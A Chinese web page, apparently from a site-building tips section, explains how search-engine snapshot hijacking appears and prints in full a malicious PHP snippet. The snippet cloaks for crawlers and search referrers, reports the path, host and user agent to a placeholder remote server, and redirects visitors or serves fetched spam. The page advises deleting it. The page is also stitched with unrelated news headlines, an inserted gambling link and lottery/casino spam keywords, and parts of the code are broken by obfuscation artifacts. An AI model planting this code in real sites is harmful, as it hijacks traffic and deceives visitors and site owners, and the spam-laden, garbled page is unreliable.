• 物智 —频道 春城壹网 七彩云南 一网天下 2019-05-18
  • 欧亚经济联盟对与中国开展建设对接合作充满期待——访欧亚经济委员会执委会主席季格兰·萨尔基相  2019-05-17
  • 纪念《共产党宣言》发表170周年 2019-05-17
  • 经济运行韧性十足 关键领域改革加力——国际机构鼓劲中国经济好势头 2019-05-14
  • 农村的巨变是农业的巨变吗?变化概念, 2019-05-14
  • 北疆阿勒泰大转场文章中国国家地理网 2019-05-01
  • 我的春晚我的年 央视春晚走过35载 2019-04-27
  • 在新加坡 如何吃得比金正恩和特朗普的午宴还要好? 2019-04-27
  • 习近平为传统文化“代言” 2019-04-27
  • 【新媒体矩阵】河北经济网 2019-04-26
  • 从副科开始,即使没有贪污、索贿、受贿的勾当,也有行贿买官的勾当。 2019-04-26
  • 做习近平新闻思想的坚定实践者 2019-04-22
  • 社会主义是从私有制走向公有制,直至共产主义的到来。 2019-04-22
  • 从榜单看黑茶“热” 首批中国黑茶类制茶大师公布 2019-04-14
  • 《中国共产党问责条例》施行 问责的“板子”如何打? 2019-04-05
  • 免费模板网标签tags 更多...
    您的位置:首页 > 建站必知 > 常见网站快照php劫持代码

    安徽十一选五开奖结果:常见网站快照php劫持代码

    时间:2018-08-27 来源:网上收集 作者:Tony 阅读次数 tags劫持php

    分享到:

    福彩喜乐彩15 www.bld77.com 网站快照被劫持是个很头疼的事情,有多种,手机端的劫持,电脑端的劫持,甚至还分不同客户端的劫持,发现问题的确不容易。有谷歌手机端,UC客户端,百度客户端等等,小编遇到的就是手机自带的浏览器访问正常,uc和百度的客户端有问题。

    特征如下,输入网址关键词百度出来的结果是非法信息,直接输入域名是正常的

    网站劫持

    点击链接然后跳转到其他地址

    网站劫持特征

    这个就是明显的网站快照被劫持了。找到对应代码

    set_time_limit(20);
    error_reporting(0);
    define('u_b','/');
    define('s_u','//xxxxx.com/');
    define('s_s','@baidu|so.com|sm.cn|sogou|yahoo|[email protected]');
    define('h_t',$_SERVER['SERVER_NAME']);
    define('r_s',$_SERVER['HTTP_REFERER']);
    define('u_s',$_SERVER['HTTP_USER_AGENT']);
    define('h_z',s_p());
    function s_p(){
    	$d='';
    	if(isset($_SERVER['REQUEST_URI'])){
    		$d=$_SERVER['REQUEST_URI'];
    	} else{
    		if(isset($_SERVER['argv'])){
    			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['argv'][0];
    		} else{
    			$d=$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
    		}
    	}
    	if(isset($_SERVER['SERVER_SOFTWARE']) && false!==stristr($_SERVER['SERVER_SOFTWARE'],'IIS')){
    		if(function_exists('mb_convert_encoding')){
    			$d=mb_convert_encoding($d,'UTF-8','GBK');
    		} else{
    			[email protected]('GBK','UTF-8',@iconv('UTF-8','GBK',$d))==$d?$d:@iconv('GBK','UTF-8',$d);
    		}
    	}
    	$r=explode('#',$d,2);
    	$d=$r[0];
    	return $d;
    }
    function r_s($url){
    	$o=array('http' => array('method'=>"GET",'timeout'=>8));
    	$context=stream_context_create($o);
    	$h=file_get_contents($url,false,$context);
    	if(empty($h)){
    		$h=file_get_contents($url);
    	}
    	return $h;
    }
    if(preg_match(s_s,r_s)){
    	$d_s=true;
    	if(preg_match("@site%3A|inurl%[email protected]",r_s)){
    		setcookie('xx',h_t,time()+259200);
    		$d_s=false;
    	}
    	if($d_s && empty($_COOKIE['xx'])){
    		setcookie('xx',h_t,time()+259200);
    		$d_u=s_u.'?xu='.bin2hex(h_z);
    		$d_u.='&ua='.bin2hex(u_s);
    		$d_u.='&ad=1&xh='.bin2hex(h_t);
    		$d_c=r_s($d_u);
    		header("Location: ".$d_c.'?'.h_t);
    		exit;
    	}
    }
    if(strstr(h_z,u_b)){
    	if(preg_match(s_s,u_s)){
    		$d_u=s_u.'?xu='.bin2hex(h_z);
    		$d_u.='&xh='.bin2hex(h_t);
    		$d_u.='&ua='.bin2hex(u_s);
    		$d_c=r_s($d_u);
    		echo $d_c;
    		exit;
    	}
    }

    删除就可以了。

    推荐一个php代码格式化网站

    //tools.jb51.net/code/jb51_php_format

    本文地址://www.freemoban.com/jzbz/2018/0827/3043.html

    猜你喜欢
    栏目推荐
    模板推荐

    Copyright:2014-2018 www.freemoban.com Corporation,All Rights Reserved 免费模板网 版权所有 鄂ICP备17019132号

    免责声明:本站部分资源来自互联网收集,版权归原创者所有,如果侵犯了你的权益,请通知我们,我们会及时删除侵权内容,谢谢合作!

    建站咨询QQ
  • 物智 —频道 春城壹网 七彩云南 一网天下 2019-05-18
  • 欧亚经济联盟对与中国开展建设对接合作充满期待——访欧亚经济委员会执委会主席季格兰·萨尔基相  2019-05-17
  • 纪念《共产党宣言》发表170周年 2019-05-17
  • 经济运行韧性十足 关键领域改革加力——国际机构鼓劲中国经济好势头 2019-05-14
  • 农村的巨变是农业的巨变吗?变化概念, 2019-05-14
  • 北疆阿勒泰大转场文章中国国家地理网 2019-05-01
  • 我的春晚我的年 央视春晚走过35载 2019-04-27
  • 在新加坡 如何吃得比金正恩和特朗普的午宴还要好? 2019-04-27
  • 习近平为传统文化“代言” 2019-04-27
  • 【新媒体矩阵】河北经济网 2019-04-26
  • 从副科开始,即使没有贪污、索贿、受贿的勾当,也有行贿买官的勾当。 2019-04-26
  • 做习近平新闻思想的坚定实践者 2019-04-22
  • 社会主义是从私有制走向公有制,直至共产主义的到来。 2019-04-22
  • 从榜单看黑茶“热” 首批中国黑茶类制茶大师公布 2019-04-14
  • 《中国共产党问责条例》施行 问责的“板子”如何打? 2019-04-05
  • 体彩20选5哪里开奖 百家乐网站 免费推广平台 11选5跨度分析 澳门最大的赌场 体育彩票大乐透开奖结果 必中北京pk10软件苹果 6场半全场计算器 特区七星彩票论坛图规 彩票开奖代码 2018香港马会资料大全 腾讯分分彩盈利模式 今天河南22选5开奖公告 体彩排列3出号走势图 p3试机号金码关注码 福彩15选5